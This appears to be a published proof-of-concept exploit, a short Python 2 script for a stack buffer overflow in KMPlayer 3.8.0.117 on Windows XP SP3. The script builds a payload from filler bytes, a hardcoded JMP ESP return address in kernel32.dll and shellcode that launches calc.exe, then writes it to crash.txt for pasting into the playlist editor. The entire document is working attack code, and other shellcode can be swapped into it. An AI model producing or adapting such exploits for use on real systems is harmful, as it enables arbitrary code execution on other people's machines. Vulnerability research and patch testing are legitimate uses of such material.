#!/usr/bin/python
# KMPlayer 3.8.0.117 Buffer Overflow
# Author: metacom
# Tested on: Windows Xp pro-sp3 En
# Download link :http://www.chip.de/downloads/KMPlayer_33859258.html
# Version: 3.8.0.117 Kmp Plus
# Howto / Notes:
# Run KMPlayer Playlist Editor > New Album and paste Exploit Code
import struct
def little_endian(address):
return struct.pack("<L",address)
junk = "\x41" * 250
eip = little_endian(0x7C86467B) #7C86467B FFE4JMP ESPkernel32.dll
shellcode=(
"\x31\xC9"#// xor ecx,ecx
"\x51"#// push ecx
"\x68\x63\x61\x6C\x63"#// push 0x636c6163
"\x54"#// push dword ptr esp
"\xB8\xC7\x93\xC2\x77"#// mov eax,0x77c293c7
"\xFF\xD0"#// call eax
)
exploit = junk + eip + shellcode
try:
rst= open("crash.txt",'w')
rst.write(exploit)
rst.close()
except:
print "Error"